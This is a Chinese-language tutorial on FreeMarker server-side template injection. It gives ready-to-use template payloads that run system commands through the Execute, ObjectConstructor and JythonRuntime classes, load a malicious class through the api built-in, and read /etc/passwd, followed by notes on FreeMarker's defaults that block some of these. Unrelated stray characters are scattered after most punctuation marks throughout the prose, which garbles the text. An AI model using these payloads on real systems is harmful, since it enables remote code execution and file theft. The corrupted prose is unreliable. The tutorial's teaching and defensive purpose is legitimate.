0x00 介紹
這里主要學(xué)習(xí)下 FreeMarker 模板注入何鸡,F(xiàn)reeMarker 是一款模板引擎骡男,F(xiàn)reeMarker 模板文件與 HTML 一樣都是靜態(tài)頁面,當(dāng)用戶訪問頁面時犹菱,F(xiàn)reeMarker 引擎會進(jìn)行解析并動態(tài)替換模板中的內(nèi)容進(jìn)行渲染已亥,然后將渲染后的結(jié)果返回到瀏覽器中来屠。
0x01 FreeMarker 模板
FreeMarker 模板語言(FreeMarker Template Language震鹉,F(xiàn)TL)由 4 個部分組成传趾,分別如下:
文本:包括 HTML 標(biāo)簽與靜態(tài)文本等靜態(tài)內(nèi)容,該部分內(nèi)容會原樣輸出
插值:這部分的輸出會被模板引擎計算的值來替換磕仅,使用 ${} 這種語法
標(biāo)簽:和 HTML 標(biāo)簽類似簸呈,不會打印在輸出的內(nèi)容中蜕便,比如 <#assign name='bob'>
注釋:和 HTML 注釋類似,由 <#-- 和 --> 表示两嘴,注釋部分的內(nèi)容會 FreeMarker 忽略
以下是一個 FreeMarker 模板內(nèi)容示例:
<html>
<head>
<title>Welcome TeamsSix!</title>
</head>
<body> <#-- 這是注釋 -->
<h1>Welcome !</h1>
<p>Our latest product:
<a href="${latestProduct.url}">${latestProduct.name}</a>!
</body>
</html>
0x02 模板注入利用
1憔辫、new 函數(shù)的利用
FreeMarker 中預(yù)制了大量了內(nèi)建函數(shù)仿荆,其中 new 函數(shù)可以創(chuàng)建一個繼承自 freemarker.template.TemplateModel 類的變量,利用這一點能達(dá)到執(zhí)行任意代碼的目的枉圃。
利用方法一:
freemarker.template.utility 里有個 Execute 類孽亲,通過觀察源代碼里的第 30 行可以看到這個類會調(diào)用 Runtime.getRuntime().exec 函數(shù)執(zhí)行它的 aExecute 變量參數(shù)值,因此這里可以使用 new 函數(shù)傳輸想要執(zhí)行的命令作為 aExecute 參數(shù)值玲昧,從而執(zhí)行命令篮绿。
freemarker.template.utility.Execute 部分文件代碼如下:
22 public Object exec(List arguments) throws TemplateModelException {
23 StringBuilder aOutputBuffer = new StringBuilder();
24 if (arguments.size() < 1) {
25 throw new TemplateModelException("Need an argument to execute");
26 } else {
27 String aExecute = (String)((String)arguments.get(0));
28
29 try {
30 Process exec = Runtime.getRuntime().exec(aExecute);
31 InputStream execOut = exec.getInputStream();
32 Throwable var6 = null;
構(gòu)造 payload 如下:
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
利用方法二:
freemarker.template.utility 里有個 ObjectConstructor 類尘应,通過觀察源代碼里的第 25 行可以看到這個類會把它的參數(shù)作為名稱構(gòu)造一個實例化對象吼虎。
因此也可以利用這一點構(gòu)造一個可執(zhí)行命令的對象思灰,從而 RCE
freemarker.template.utility.ObjectConstructor 部分文件代碼如下:
17 public class ObjectConstructor implements TemplateMethodModelEx {
18 public ObjectConstructor() {
19 }
20
21 public Object exec(List args) throws TemplateModelException {
22 if (args.isEmpty()) {
23 throw new TemplateModelException("This method must have at least one argument, the name of the class to instantiate.");
24 } else {
25 String classname = args.get(0).toString();
26 Class cl = null;
27
28 try {
29 cl = ClassUtil.forName(classname);
30 } catch (Exception var6) {
31 throw new TemplateModelException(var6.getMessage());
32 }
構(gòu)造 Payload 如下:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","open","-a","Calculator").start()}
利用方法三:
freemarker.template.utility 里有個 JythonRuntime 類洒疚,這里可以通過自定義標(biāo)簽的方式執(zhí)行 Python 命令油湖,從而構(gòu)造遠(yuǎn)程命令執(zhí)行。
freemarker.template.utility.JythonRuntime 部分文件代碼如下:
public class JythonRuntime extends PythonInterpreter
implements TemplateTransformModel {
@Override
public Writer getWriter(final Writer out,
final Map args) {
final StringBuilder buf = new StringBuilder();
final Environment env = Environment.getCurrentEnvironment();
return new Writer() {
@Override
public void write(char cbuf[], int off, int len) {
buf.append(cbuf, off, len);
}
@Override
public void flush() throws IOException {
interpretBuffer();
out.flush();
}
@Override
public void close() {
interpretBuffer();
}
private void interpretBuffer() {
synchronized (JythonRuntime.this) {
PyObject prevOut = systemState.stdout;
try {
setOut(out);
set("env", env);
exec(buf.toString());
buf.setLength(0);
} finally {
setOut(prevOut);
}
}
}
};
}
}
構(gòu)造 Payload 如下:
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("open -a Calculator")</@value>
2、api 函數(shù)的利用
除了 new 函數(shù)寂呛,還可以利用 api 函數(shù)調(diào)用 Java API贷痪,然后通過 getClassLoader 獲取類加載器從而加載惡意類蹦误,或者也可以通過 getResource 來實現(xiàn)任意文件讀取肉津。
加載惡意類的 Payload 如下:
<#assign classLoader=object?api.class.getClassLoader()>${classLoader.loadClass("Evil.class")}
任意文件讀取的 Payload 如下:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
不過 api 內(nèi)建函數(shù)并不能隨便使用妹沙,必須在配置項 apiBuiltinEnabled 為 true 時才有效熟吏,而該配置在 2.3.22 版本之后默認(rèn)為 false
同時 FreeMarker 為了防御通過其他方式調(diào)用惡意方法牵寺,F(xiàn)reeMarker 內(nèi)置了一份危險方法名單 unsafeMethods.properties,例如 getClassLoader趣斤、newInstance 等危險方法都被禁用了黎休。
參考文章:
https://www.anquanke.com/post/id/215348
https://www.cnblogs.com/Eleven-Liu/p/12747908.html
原文鏈接: